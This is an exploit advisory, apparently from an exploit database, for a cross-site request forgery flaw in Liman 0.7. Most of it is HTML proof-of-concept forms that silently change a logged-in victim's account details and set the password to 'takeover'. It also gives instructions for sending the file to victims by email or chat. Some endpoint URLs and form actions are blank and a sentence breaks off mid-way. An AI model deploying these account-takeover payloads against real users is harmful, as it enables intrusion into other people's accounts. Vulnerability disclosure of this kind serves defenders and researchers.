# Exploit Title: Liman 0.7 - Cross-Site Request Forgery (Change Password)
# Date: 2020-10-07
# Exploit Author: George Tsimpidas
# Software Link :
# Version: 0.7
# Tested on: Ubuntu 18.04.5 LTS (Bionic Beaver)
# Category: Webapp


There is no CSRF protection in Liman application, with a little help
of social engineering (like sending a link via email/chat) an attacker may
force the victim to click on a malicious link, with the purpose of
manipulating his current account information, or changing entirely his

Vulnerable Endpoints :

Proof of Concept

Download the application, make an account and login inside the
panel under : expose the docker port on 5000.

Save this .html files and send it to victim (Victim should be
logged in in the browser)

Crafted value will be added.

Account Information CSRF :


<script>history.pushState('', '', '/')</script>
<form action="" method="POST">
<input type="hidden" name="username" value="betatest" />
<input type="hidden" name="email" value="" />
<input type="submit" value="TakeOver Account Settings" />


Password Change CSRF :


<script>history.pushState('', '', '/')</script>
<form action="" method="POST">
<input type="hidden" name="password" value="takeover" />
<input type="hidden" name="newPassword" value="takeover" />
<input type="hidden" name="confirmPassword" value="takeover" />
<input type="submit" value="Password TakeOver" />